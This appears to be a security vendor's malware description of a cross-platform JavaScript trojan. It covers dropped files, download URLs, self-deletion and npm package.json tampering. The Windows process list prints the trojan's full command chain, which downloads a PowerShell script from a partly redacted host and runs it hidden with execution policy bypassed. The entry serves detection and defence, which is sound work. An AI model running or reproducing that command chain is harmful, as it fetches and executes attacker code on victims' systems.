Trojan.JS.AXIOSDROP.THCCABF

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• %User Temp%\6202033.vbs - VBScript intermediate dropper (Windows)
• %UserT emp%\6202033.ps1 - PowerShell script payload (Windows)
• %ProgramData%\wt.exe - copy of Powershell.exe (Windows)
• /Library/Caches/com.apple.act.mond - binary payload disguised as Apple cache daemon (macOS)
• /tmp/ld.py - Python script payload (Linux)

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following processes:

• If running on Windows:
  • where powershell
  • cscript "%User Temp%\6202033.vbs" /nologo && del "%User Temp%\6202033.vbs" /f
  • cmd.exe /c curl -s -X POST -d "packages.{BLOCKED}m.org/product1" "http://{BLOCKED}k.com:8000/6202033" > "%User Temp%\6202033.ps1" & "%PROGRAMDATA%\wt.exe" -w hidden -ep bypass -file "%User Temp%\6202033.ps1" "http://{BLOCKED}k.com:8000/6202033" & del "%User Temp%\6202033.ps1" /f

  Download Routine

  This Trojan connects to the following URL(s) to download its component file(s):

  • http://{BLOCKED}k.com:8000/
  • http://{BLOCKED}k.com:8000/6202033

  Other Details

  This Trojan does the following:

  • It detects the host operating system to select the appropriate payload delivery mechanism.
  • It deletes itself after execution to remove the initial dropper
  • It deletes the VBScript intermediate file after execution (Windows)
  • It deletes the downloaded PowerShell script after execution (Windows)
  • It removes the AppleScript file after execution (macOS)
  • It manipulates npm package files during execution: backs up the original package.json as package.md, then restores it after execution to conceal evidence of tampering